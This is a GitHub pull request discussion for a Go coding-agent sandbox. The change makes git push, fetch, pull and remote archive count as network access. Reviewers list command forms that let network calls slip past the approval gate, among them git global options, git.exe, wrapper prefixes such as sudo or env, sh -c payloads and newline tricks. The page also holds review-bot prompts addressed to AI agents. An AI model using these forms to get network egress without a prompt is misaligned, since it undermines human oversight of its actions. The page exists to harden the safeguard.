Skip to content

fix(sandbox): classify git push as network access - #726

Open
PierrunoYT wants to merge 16 commits into
Gitlawb:mainfrom
PierrunoYT:fix/issue-703-git-push-network
Open

fix(sandbox): classify git push as network access#726
PierrunoYT wants to merge 16 commits into
Gitlawb:mainfrom
PierrunoYT:fix/issue-703-git-push-network

Conversation

@PierrunoYT

@PierrunoYT PierrunoYT commented Jul 18, 2026

Copy link
Copy Markdown
Contributor

Summary

  • classify git push as network-sensitive before sandbox execution
  • ensure approving the permission prompt enables the temporary network profile immediately
  • cover custom transports such as gitlawb:// in analyzer and risk-classifier tests

Fixes #703.

Validation

  • go test ./...
  • go vet ./...
  • GOTOOLCHAIN=go1.26.5 go run golang.org/x/vuln/cmd/govulncheck@v1.3.0 ./...
  • diff-scoped golangci-lint: 0 issues

The repository-wide lint command still reports 35 pre-existing findings unrelated to this change.

Summary by CodeRabbit

  • Bug Fixes
    • Improved Git network detection with value-taking global options, including Windows variants.
    • Correctly identifies remote versus local git archive operations.
    • Strengthened detection of obfuscated or unparseable shell commands and improved Windows executable handling.
  • Tests
    • Expanded coverage for Git network blocking, wrapped commands, inline options, and parsing edge cases.

@coderabbitai

coderabbitai Bot commented Jul 18, 2026

Copy link
Copy Markdown

Review Change Stack

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review

Walkthrough

Git network detection now handles value-taking global options, remote archives, wrappers, and platform-specific Git executables. Parsed and unparseable network commands receive network classification, with regression coverage for approved git push execution.

Changes

Sandbox network classification

Layer / File(s) Summary
Git network detection and analyzer coverage
internal/agent/command_prefix.go, internal/agent/command_prefix_test.go, internal/sandbox/analyzer.go, internal/sandbox/analyzer_test.go, internal/sandbox/safe_command.go
Git option parsing, subcommand detection, remote archive handling, and executable normalization cover inline and separate values, local commands, and Windows executable variants.
Risk classification for parsed and unparseable Git commands
internal/sandbox/risk.go, internal/sandbox/risk_hardening_test.go, internal/sandbox/engine_test.go
Fallback tokenization and Git-specific matching classify network activity through wrappers and shell payloads while preserving non-network results for local commands and option-like tokens.
Approved git push execution coverage
internal/agent/loop_test.go
The regression test verifies that an approved git push receives the network grant and executes with the expected fake Git output.

Estimated code review effort: 4 (Complex) | ~45 minutes

Sequence Diagram(s)

sequenceDiagram
  participant Agent
  participant SandboxClassifier
  participant GitAnalyzer
  participant GitProcess
  Agent->>SandboxClassifier: request git push
  SandboxClassifier->>GitAnalyzer: classify Git subcommand
  GitAnalyzer-->>SandboxClassifier: critical network risk
  SandboxClassifier-->>Agent: request network approval
  Agent->>GitProcess: execute approved git push
  GitProcess-->>Agent: return command output
Loading

Suggested reviewers: gnanam1990, anandh8x

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 60.61% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly identifies the primary change: classifying git push as network access.
Linked Issues check ✅ Passed The changes address issue #703 by detecting git push network access and applying the approved turn-level network grant.
Out of Scope Changes check ✅ Passed The production and test changes support Git network detection, sandbox approval behavior, and related parsing hardening for issue #703.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

coderabbitai[bot]
coderabbitai Bot previously approved these changes Jul 18, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates the sandbox command analyzer/risk classifier to treat git push as network-sensitive, with added tests to ensure the AST-based analyzer flags it even when the command doesn’t contain an obvious URL.

Changes:

  • Extend commandUsesNetwork to classify git push as network access.
  • Add analyzer coverage for git push (and a non-network git commit) in AnalyzeCommand tests.
  • Add a risk-classifier hardening test asserting git push is flagged as critical+network when regex-based detection would miss it.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 5 comments.

File Description
internal/sandbox/analyzer.go Expands git subcommand network detection to include push.
internal/sandbox/analyzer_test.go Adds AnalyzeCommand test cases for git push and a local-only git commit.
internal/sandbox/risk_hardening_test.go Adds a hardening test to ensure AST-based classification flags git push as network.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread internal/sandbox/analyzer_test.go Outdated
Comment thread internal/sandbox/risk_hardening_test.go Outdated
Comment thread internal/sandbox/analyzer.go Outdated
Comment thread internal/sandbox/analyzer.go Outdated
Comment thread internal/sandbox/analyzer.go Outdated

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
internal/sandbox/risk_hardening_test.go (1)

297-309: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Prefer t.Errorf over t.Fatalf in loops.

Using t.Fatalf inside a loop will immediately abort the test on the first failure, which prevents the remaining test cases from executing. Replacing it with t.Errorf allows all cases to be evaluated even if one fails.

♻️ Proposed refactor
 	for _, command := range []string{
 		`curl https://example.com && "unterminated`,
 		`git fetch origin && "unterminated`,
 		`git pull origin main && "unterminated`,
 		`git push gitlawb://example.com/repo.git main && "unterminated`,
 	} {
 		risk := classifyCommand(command)
 		if !HasRiskCategory(risk, "unparseable_command") {
-			t.Fatalf("Classify(%q) = categories %v; want unparseable_command", command, risk.Categories)
+			t.Errorf("Classify(%q) = categories %v; want unparseable_command", command, risk.Categories)
 		}
 		if risk.Level != RiskCritical || !HasRiskCategory(risk, "network") {
-			t.Fatalf("Classify(%q) = level %s, categories %v; want critical network", command, risk.Level, risk.Categories)
+			t.Errorf("Classify(%q) = level %s, categories %v; want critical network", command, risk.Level, risk.Categories)
 		}
 	}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@internal/sandbox/risk_hardening_test.go` around lines 297 - 309, In the
table-driven loop testing classifyCommand, replace both t.Fatalf calls with
t.Errorf so each command case is evaluated even when an earlier assertion fails.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@internal/sandbox/risk_hardening_test.go`:
- Around line 297-309: In the table-driven loop testing classifyCommand, replace
both t.Fatalf calls with t.Errorf so each command case is evaluated even when an
earlier assertion fails.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 45f38035-3958-4d77-b84f-f163855e8c49

📥 Commits

Reviewing files that changed from the base of the PR and between 7a22945 and d72a192.

📒 Files selected for processing (5)
  • internal/agent/loop_test.go
  • internal/sandbox/analyzer.go
  • internal/sandbox/analyzer_test.go
  • internal/sandbox/risk.go
  • internal/sandbox/risk_hardening_test.go

coderabbitai[bot]
coderabbitai Bot previously approved these changes Jul 18, 2026

@Vasanthdev2004 Vasanthdev2004 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for this, and the direction is right (git push should be network-gated). But the AST classifier still misses the most common git form, so I would like a fix before it lands.

The git branch of commandUsesNetwork calls firstSubcommand, which skips only dash-prefixed and numeric tokens. git's value-consuming global options put their value in the NEXT token, so firstSubcommand returns that value as the "subcommand." I ran the classifier against the current head:

git push origin main              Network=true   Risk=critical  network   <- correct
git -C repo push origin main      Network=false  Risk=high      (none)    <- missed
git -c http.sslVerify=false push  Network=false  Risk=high      (none)    <- missed
git --git-dir /x/.git push        Network=false  Risk=high      (none)    <- missed
git.exe push origin main          Network=false  Risk=high      (none)    <- missed

These all parse cleanly, so TooComplex stays false and the unparseable-pattern fallback never runs. So git -C <dir> push (the canonical form for operating on a repo without cd) classifies as plain shell, not network, and its risk drops from Critical to High.

To be fair on severity: this is not an always-open egress hole. When the sandbox backend is provisioned, the runtime deny-by-default still blocks the socket and raises the network prompt via ReasonNetworkBlocked, so the classifier is defense-in-depth there. But it becomes a real unprompted-egress path when the backend is unavailable or degraded, and the Critical-to-High mis-level can flip auto-allow in the more permissive autonomy modes regardless. Since the whole point of the PR is to classify these, I would rather close the gap than ship a gate that misses the most common invocation.

The fix looks small:

  • In the git case, skip the values of git's space-separated value-consuming globals (-C, -c, --git-dir, --work-tree, --namespace, --exec-path, --super-prefix) before taking the subcommand. The joined --git-dir=/x form is already fine since it is one dash-prefixed token.
  • Normalize a .exe program token so git.exe is treated as git.
  • Add a PARSEABLE regression test: classifyCommand("git -C repo push origin main") should be RiskCritical with the network category. Right now the only -C test is the one with the trailing && "unterminated, which forces the unparseable path and masks this AST gap.

Otherwise the wiring is fine, and build/vet/gofmt are clean locally. Happy to re-review quickly once the AST path handles the option forms.

gnanam1990
gnanam1990 previously approved these changes Jul 21, 2026

@gnanam1990 gnanam1990 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

APPROVE — the core fix is correct and well-covered: git clone|fetch|pull|push now classify as network access on the primary AST path, verified end-to-end (git push origin mainNetwork=true, git commit -m x stays Network=false), and the hardened regex fallback fails closed on unparseable variants. The one remaining gap is a minor consistency issue, not merge-blocking.

Nice work: the AST change (analyzer.go:153) and the fallback hardening (risk.go:36, now git(?:\s+[^\s;&|]+){0,8}\s+(clone|fetch|pull|push)) are both landed, and the new tests are real — TestAnalyzeCommand (git fetch/pull/push-custom-transport → network), TestClassifyASTCatchesNetworkProgramsRegexMisses, and TestClassifyUnparseableNetworkCommandFailsClosed including the git -C repo push … && "unterminated fail-closed case. All PR-relevant classification tests pass locally.


[Minor] AST path doesn't skip git global options, so git -C <dir> push isn't classified as network — inconsistent with the fallback you just hardened

internal/sandbox/analyzer.go:153 (root cause: firstSubcommand, analyzer.go:243) — pre-existing blind spot, PR-introduced inconsistency

The three reported findings all collapse to this single root cause. firstSubcommand skips dash-prefixed tokens but treats the next bare token as the subcommand, so for git -C /repo push origin main (words [-C, /repo, push, …]) it returns /repo, not push. The git case then returns Network=false. Runtime probe on the PR HEAD:

git push origin main                      Network=true  TooComplex=false
git -C /repo push origin main             Network=false TooComplex=false   <- gap
git -c http.proxy=x push origin main      Network=false TooComplex=false   <- gap
git -C /repo fetch origin                 Network=false TooComplex=false   <- gap
git -C /repo pull origin main             Network=false TooComplex=false   <- gap
git --git-dir=/repo/.git push origin main Network=true  TooComplex=false   (caught: --foo starts with '-')

The gap is specifically the space-separated value-taking global options (-C <path>, -c <name=value>, --git-dir <path>, --work-tree <path>, --namespace <ns>, --exec-path <path>). Because these commands parse cleanly (TooComplex=false), the hardened unparseableNetworkPattern at risk.go:36 is never consulted — that branch is gated on analysis.TooComplex at risk.go:132. So the fallback now tolerates git -C repo push but the primary AST path does not: the two paths disagree, and the network category the PR exists to add is silently omitted for the very common git -C <dir> push/fetch/pull form.

Impact is bounded — this is not a network-exfiltration bypass. Network enforcement mode is derived from policy.Network via NormalizeNetworkMode at profile.go:109, decoupled from the analyzer, and the auto-allow branch at engine.go:410 is gated on shellSandboxActive → NativeIsolation. So a misclassified git -C . push still runs wrapped by the platform sandbox with NetworkDeny enforced at the syscall level (the connect() is blocked and the agent reactively prompts), and where no native sandbox is active it prompts anyway via the general path rather than auto-allowing. The only real-world effect is degrading a proactive ReasonNetworkBlocked prompt (engine.go:355/357) into a reactive/generic one, plus the AST↔regex inconsistency.

Provenance: the underlying firstSubcommand blind spot is pre-existing — base analyzer.go:153 was firstSubcommand(words, nil) == "clone" and had the same hole for git -C <dir> clone. What this PR introduces is the inconsistency: it extended classification to push/fetch/pull and explicitly closed the -C gap in the regex fallback (and tests it), but left the primary AST path unfixed.

Suggested fix: give the git case a dedicated subcommand resolver that consumes git's global value-taking options before reading the subcommand (-C <path>, -c <name=value>, --git-dir, --work-tree, --namespace, --exec-path in their separate-token form), mirroring the tolerance already in unparseableNetworkPattern, then test the resolved token against {clone,fetch,pull,push}. Add git -C repo push origin main (plus -c / fetch / pull variants) to TestClassifyASTCatchesNetworkProgramsRegexMisses and TestAnalyzeCommand — those assertions fail today and would pin the fix.


Tests: go build ./..., go vet on the touched packages, and gofmt -l are clean; all PR-relevant classification/agent tests pass. The failing tests in internal/sandbox and internal/agent (path/symlink/out-of-workspace under /private/tmp) are pre-existing environmental failures that reproduce identically on base — not PR-attributable.

Merge is kevin's call per the program gate.

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • Resolve the merge conflict with main
    GitHub currently reports this PR as CONFLICTING / DIRTY, so it cannot be merged or tested in its target-branch composition. Rebase or merge the current target branch and resolve the conflict before requesting another review.

  • [P2] Classify Git commands after consuming global-option values
    internal/sandbox/analyzer.go:153
    The generic firstSubcommand skips -C/-c/--git-dir themselves but treats their following values as the subcommand. Consequently ordinary, parseable commands such as git -C repo push origin main, git -c http.proxy=x fetch origin, and git --git-dir /repo/.git pull produce no network risk. Because they parse successfully, the new regex fallback is not consulted, and the engine skips its required proactive network-approval path. Use a Git-aware resolver that consumes value-taking global options (as internal/agent/command_prefix.go already does) and add parseable regression coverage.

  • [P2] Recognize the Windows git.exe command spelling
    internal/sandbox/analyzer.go:152
    effectiveProgram normalizes git.exe to git.exe, not git, so git.exe push origin main never reaches this new Git network classifier. It is parseable, so the fallback cannot repair the miss and the command does not receive the intended proactive network prompt. Normalize executable suffixes (or explicitly handle git.exe) and cover that spelling in the analyzer and risk tests.

…ush-network

main's #7xx already classifies git clone/fetch/pull/push/ls-remote/archive as
network in gitUsesNetwork, so the conflict resolves to main's version and this
branch keeps only what is still missing:

- gitSubcommand resolves the subcommand past git's value-taking global options
  (-C, -c, --config-env, --exec-path, --git-dir, --namespace, --super-prefix,
  --work-tree). firstSubcommand treated their VALUE as the subcommand, so
  `git -C repo push origin main` — the canonical form for operating on a repo
  without cd — classified as plain shell with no network category. Those
  commands parse cleanly, so the unparseable-command regex fallback never ran.
- effectiveProgram trims a trailing .exe, so `git.exe push` (and curl.exe,
  wget.exe, ...) reach the same classification as the bare name. Only .exe is
  trimmed; a .bat/.cmd of the same stem is a different script.
- Parseable regression coverage for both, in the analyzer table and a new
  risk test that asserts TooComplex is false so the fallback cannot mask a
  future AST gap, plus the local-work cases that must stay off the network path.

The hardened fallback regex, the t.Errorf-in-subtests conversion, and the
end-to-end approved-git-push network-grant test come from this branch unchanged.
@PierrunoYT

Copy link
Copy Markdown
Contributor Author

Merged current main (595c292) — the PR is MERGEABLE again — and closed the AST gap everyone converged on.

Resolve the merge conflict with main — done. main meanwhile grew gitUsesNetwork, already covering clone|fetch|pull|push|ls-remote|archive, so the conflict resolves to main's version and this branch now carries only what is still missing on top of it.

[P2] Classify Git commands after consuming global-option values (@jatmn, @gnanam1990, @Vasanthdev2004 — all three findings share this root cause) — fixed with a git-aware gitSubcommand that skips the values of git's space-separated globals (-C, -c, --config-env, --exec-path, --git-dir, --namespace, --super-prefix, --work-tree), mirroring gitOptionConsumesValue in internal/agent/command_prefix.go as suggested. Joined forms (--git-dir=/x, -C/x) were already fine as single dash-prefixed tokens. Verified against the exact matrix from the reviews:

command before after
git -C repo push origin main Network=false, High Network=true, Critical + network
git -c http.sslVerify=false push Network=false, High Network=true, Critical + network
git --git-dir /repo/.git fetch origin Network=false, High Network=true, Critical + network
git --work-tree /repo pull origin main Network=false, High Network=true, Critical + network
git -C repo commit -m x no network no network (unchanged)

[P2] Recognize the Windows git.exe spellingeffectiveProgram now trims a trailing .exe after normalizeProgramToken, so git.exe push classifies like git push; the same fix covers curl.exe, wget.exe, and the other program tables. Deliberately .exe only — a .bat/.cmd of the same stem is a separate script, not the program it is named after, so treating it as that program would be a guess. The command-prefix tables that list powershell.exe explicitly are a different code path and are untouched.

Parseable regression coverage — the key point from @Vasanthdev2004's review was that the only -C test forced the unparseable path and masked the AST gap. New TestClassifyParseableGitNetworkCommandsUseASTPath asserts AnalyzeCommand(...).TooComplex == false for each case before checking Critical + network, so the hardened fallback regex cannot mask a future AST regression, and it also pins the local-work cases (git -C repo commit, git -C repo status, git.exe commit) as non-network. The analyzer table gained the same forms.

@copilot: "the approved-prompt behavior may need an execution-path change, not just classification" — checked, and no execution change is needed. The turn network grant already applies on approval; the missing piece was purely classification, so the command never reached that path. TestRunApprovedGitPushPromptAppliesTurnNetworkGrant (this branch's rewrite of the existing curl test) exercises it end to end — prompt → approve → turn network grant applied → git push gitlawb://… actually runs — and it passes.

@copilot: use a gitlawb:// URL rather than a bare token — applied earlier in d72a192; the analyzer, risk, and end-to-end tests all use gitlawb://example.com/repo.git. @coderabbitai: t.Errorf over t.Fatalf in loops — applied; the unparseable table runs as subtests with t.Errorf, and the new test does the same.

Validation (Windows host, Go 1.26.5): go build ./..., go vet ./..., go test ./... -count=1 all pass; GOOS=linux|darwin|windows builds clean; gofmt clean on every changed file.

@jatmn @Vasanthdev2004 @gnanam1990 — ready for another look; I can't use the reviewer-request button on this repo, hence the mention.

@coderabbitai review

@coderabbitai

coderabbitai Bot commented Jul 25, 2026

Copy link
Copy Markdown

@PierrunoYT I’ll review the updated PR, with particular attention to option parsing, Windows executable normalization, and ensuring the parseable AST path—not only the fail-closed fallback—enforces the network classification.

✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
internal/sandbox/risk_hardening_test.go (1)

337-342: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Cover git.exe in the unparseable network fallback.

unparseableNetworkPattern matches git only, so an unparseable git.exe push ... misses the critical network category even though parseable git.exe is classified correctly. Accept an optional .exe suffix and add that regression case.

Proposed fix
-|\bgit(?:\s+[^\s;&|]+){0,8}\s+(clone|fetch|pull|push)\b
+|\bgit(?:\.exe)?(?:\s+[^\s;&|]+){0,8}\s+(clone|fetch|pull|push)\b
+ `git.exe push gitlawb://example.com/repo.git main && "unterminated`,

As per coding guidelines, **/*_test.go requires regression tests for behavior changes.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@internal/sandbox/risk_hardening_test.go` around lines 337 - 342, Update the
unparseableNetworkPattern to match both git and git.exe command names while
preserving the existing network-command requirements. In the risk-hardening
regression table in the relevant test, add an unparseable git.exe push case so
it is classified under the network category.

Source: Coding guidelines

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Outside diff comments:
In `@internal/sandbox/risk_hardening_test.go`:
- Around line 337-342: Update the unparseableNetworkPattern to match both git
and git.exe command names while preserving the existing network-command
requirements. In the risk-hardening regression table in the relevant test, add
an unparseable git.exe push case so it is classified under the network category.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 3b9a21d6-40d7-4443-869c-0714562d2150

📥 Commits

Reviewing files that changed from the base of the PR and between d72a192 and 595c292.

📒 Files selected for processing (5)
  • internal/agent/loop_test.go
  • internal/sandbox/analyzer.go
  • internal/sandbox/analyzer_test.go
  • internal/sandbox/risk.go
  • internal/sandbox/risk_hardening_test.go
🚧 Files skipped from review as they are similar to previous changes (2)
  • internal/sandbox/risk.go
  • internal/agent/loop_test.go

coderabbitai[bot]
coderabbitai Bot previously approved these changes Jul 25, 2026

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • [P1] Recognize --attr-source as a value-taking Git global option
    internal/sandbox/analyzer.go:308
    Git accepts --attr-source <tree-ish> before the subcommand (for example, git --attr-source HEAD push origin main), but it is absent from this new skip list. gitSubcommand therefore returns head instead of push; because this command parses successfully, the fallback is not consulted and the shell call never receives the critical network classification or its network-enabled approval profile. Add this global option and a regression case; update the paired command-prefix parser too if the documented mirroring is intentional.

  • [P2] Make the unparseable Git fallback cover the supported Windows form and option count
    internal/sandbox/risk.go:36
    The new AST path normalizes git.exe, but parser-failing Windows commands never reach that code. For example, git.exe push origin main & rem ' runs under cmd.exe but is rejected by the POSIX parser; this pattern requires whitespace immediately after git, so classification adds only unparseable_command, not network, and skips the network approval/turn-grant path. The {0,8} cap has the same failure once a Git invocation has more than four value-taking global options. Match an optional .exe suffix and scan Git tokens up to a command separator without the arbitrary cap, with regressions for both forms.

…allback

gitSubcommand (and its mirror in internal/agent/command_prefix.go) was
missing --attr-source from git's value-taking global options, so
`git --attr-source HEAD push origin main` resolved to the wrong subcommand
and never got classified as network access.

The unparseable-command regex fallback used when the shell parser fails now
also matches an optional .exe suffix, so a Windows form like
`git.exe push origin main & rem '` — valid under cmd.exe but rejected by the
POSIX parser AnalyzeCommand uses — still classifies as network. The
generic-token scan before the subcommand no longer caps at 8 tokens; Go's
regexp package is RE2-backed (linear time, no backtracking blowup), so the
cap only served to silently drop coverage once a git invocation had more
than a handful of value-taking global options.

Addresses review feedback from jatmn on PR Gitlawb#726.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@internal/sandbox/risk.go`:
- Around line 36-44: The unparseable Git fallback in unparseableNetworkPattern
must not treat arbitrary tokens before push, fetch, or pull as global options.
Restrict matching to recognized Git global options and their values, or reuse
the shared token-aware resolver from analyzer.go, while preserving support for
git.exe and complex valid invocations. Add a regression test covering a local
command such as git status push so it is not classified as network.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 59e3c8be-fb6a-46bd-8c23-15d475e08ebd

📥 Commits

Reviewing files that changed from the base of the PR and between 595c292 and d54e971.

📒 Files selected for processing (5)
  • internal/agent/command_prefix.go
  • internal/sandbox/analyzer.go
  • internal/sandbox/analyzer_test.go
  • internal/sandbox/risk.go
  • internal/sandbox/risk_hardening_test.go
🚧 Files skipped from review as they are similar to previous changes (2)
  • internal/sandbox/risk_hardening_test.go
  • internal/sandbox/analyzer.go

Comment thread internal/sandbox/risk.go Outdated

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • [P2] Restore network classification for wrapper-prefixed unparseable commands
    internal/sandbox/risk.go:71
    This is a confirmed regression from 8a7ffe6, not pre-existing drift. The refactor of matchesUnparseableNetwork tokenizes each ;/&/| segment and only elevates to network when tokens[0] is a git executable or when the rebuilt segment matches the new ^-anchored unparseableNetworkPattern. That drops base main's whole-string \b(curl|wget|…)\b / \bgit\s+clone\b matching, so obfuscated commands where the network binary is not argv[0] lose the network category. Verified on base vs head: classifyCommand(sudo curl https://example.com && "unterminated) goes from Critical + network to High + unparseable_command only; the same miss hits env curl …, env git fetch …, sudo git push …, sudo npm install …, timeout 5 curl …, PATH=.:$PATH git push …, and sh -c 'curl …' && "unterminated. Engine impact is also verified: with NetworkDeny and PermissionGranted: true, base returns ActionPrompt / ReasonNetworkBlocked, while head returns ActionAllow with "tool requires approval before execution". The parseable AST fixes for git -C repo push, git.exe, and quoted Windows forms are working; the gap is only on the fail-closed fallback when the executable is behind a wrapper or env assignment. Please keep the git-specific token-aware matcher, but also peel wrapperPrograms / env assignments (as effectiveProgram already does on the parseable path) or otherwise restore fail-closed detection on this path, and add regressions beside TestClassifyUnparseableNetworkCommandFailsClosed.

  • [P3] Strip Windows executable suffixes in the unparseable fallback
    internal/sandbox/risk.go:118
    Companion regression from the same matchesUnparseableNetwork refactor. Parseable classification already normalizes curl.exe through normalizeProgramToken, but executableTokenBase only lowercases the basename and leaves .exe attached. Verified: unparseable curl.exe https://example.com && "unterminated loses network on head (network=false) while base main still matched it via \bcurl\b (network=true). Please reuse the same suffix normalization here (or call normalizeProgramToken) and add an unparseable curl.exe/wget.exe regression.

  • [P3] Split fallback segments on newlines
    internal/sandbox/risk.go:129
    Companion regression from the same refactor. fallbackCommandTokens flushes commands only on ;, &, and |, not on \n. Verified: true\ncurl https://example.com && "unterminated stays one segment whose first token is true, so the embedded curl is invisible to the new matcher (network=false on head, network=true on base). Please treat newline as a command separator (or otherwise scan later tokens in the segment) and add a regression.

  • [P3] Gate local git archive on --remote when touching this verb list
    internal/sandbox/analyzer.go:281
    This one is partly drift, not a merge blocker for the core git push fix. Treating every archive subcommand as network is already true on base main for git archive HEAD; this PR's gitSubcommand fix extends that pre-existing false positive to git -C repo archive HEAD, which base misclassified as offline because it read repo as the subcommand. git archive only needs network with --remote. If you are already editing the verb list in this PR, please gate both the AST and fallback matchers on a remote flag and add git archive HEAD / git -C repo archive HEAD negative cases with network: false. If not, this can be a follow-up; it should not block the wrapper-regression fix above.

Reworking the fallback to be token-aware made it read the program from
tokens[0], which is only the program when nothing precedes it. A wrapper prefix,
an environment assignment, or a shell launcher put it elsewhere, so
`sudo curl …`, `env git fetch …`, `timeout 5 curl …`, `PATH=.:$PATH git push …`,
and `sh -c 'curl …'` all lost the network category that the previous
whole-string match caught. Under NetworkDeny with permission already granted
that turned a network prompt into a plain allow — egress granted to a command
too obfuscated to parse.

The fallback now resolves each segment's program exactly as the parseable path
does, through commandBodyFields (extracted from commandBody), and recurses into
a shell launcher's -c payload the way analyzeInto does. Resolving the program
rather than matching a network name anywhere in the string is what still keeps
`git status push` and `echo https://example.com/repo.git push` out.

Two companion gaps from the same refactor: executableTokenBase now strips
Windows executable suffixes through the same helper normalizeProgramToken uses,
so `curl.exe` matches here as it does there, and the fallback tokenizer treats a
newline as a command separator rather than as whitespace, so a program on a
later line is resolved instead of being read as arguments of the first.

Separately, `git archive` is now gated on --remote on both paths. A local
archive streams the object store and never leaves the machine; treating every
archive as network cost a proactive prompt on an offline command, and this PR's
gitSubcommand fix had extended that false positive to `git -C repo archive`.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@PierrunoYT

Copy link
Copy Markdown
Contributor Author

Addressed all four findings in 6225826. Thanks for the base-vs-head verification — it pinned the regression precisely.

[P2] Wrapper-prefixed unparseable commands are fail-closed again. You called it: reading the program from tokens[0] is only correct when nothing precedes it. The fallback now resolves each segment's program the same way the parseable path does, and I did it by reusing that path's own scan rather than writing a third copy — commandBody was already doing exactly this walk (env assignments → wrapper prefixes → wrapper-consumed option values), so I extracted commandBodyFields from it and the fallback calls that. sh -c '…' needed one more thing: the fallback tokenizer keeps a quoted payload as a single token, so the program inside it is not a token of the segment at all — that recurses now, bounded by maxUnparseableShellDepth, mirroring analyzeInto.

Resolving the program instead of reverting to whole-string matching is what still keeps git status push and echo https://example.com/repo.git push non-network; that whole negative suite passes untouched.

[P3] curl.exe. executableTokenBase now strips the Windows suffixes through a shared trimExecutableSuffix/executableSuffixes that normalizeProgramToken also uses, so the two paths can't normalize differently again — which was the actual mechanism here. isGitExecutableToken's hardcoded git.exe/git.cmd/… list became redundant and is gone.

[P3] Newlines. fallbackCommandTokens now flushes a command on \n/\r instead of treating them as whitespace.

[P3] git archive. Gated on --remote on both paths (gitTargetsRemoteArchive, matching joined and separated spellings), since you were already asking me to touch the verb list. git archive HEAD and git -C repo archive HEAD are now network: false; git archive --remote=origin HEAD stays true.

Regressions (each verified to fail with the source changes stashed and the tests kept):

  • TestClassifyUnparseableNetworkBehindWrapperFailsClosed — 17 cases covering your exact list plus sudo -u root curl, xargs curl, GIT_SSH_COMMAND=… git push, bash -c "git push …", wget.exe, and CRLF. All 17 fail before the fix.
  • TestClassifyUnparseableLocalGitArchiveStaysNonNetwork — 4 local-archive cases, all failing before (they were network).
  • TestEvaluatePromptsForUnparseableNetworkBehindWrapper — the engine-level assertion for the impact you measured: NetworkDeny + PermissionGranted: true must yield ActionPrompt/ReasonNetworkBlocked. Fails before the fix with ActionAllow, which is the behavior that actually matters here.
  • Analyzer table: local-archive negatives plus a separated-value --remote positive.

Validation

  • go build ./..., go vet ./..., go test ./...
  • go test ./internal/sandbox -count=1
  • Each new test confirmed failing against this branch's pre-fix source
  • git diff --check clean; gofmt -l clean for the touched files (five files in internal/sandbox are already flagged on this branch and I left them alone)

@PierrunoYT
PierrunoYT requested a review from jatmn July 28, 2026 20:22

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
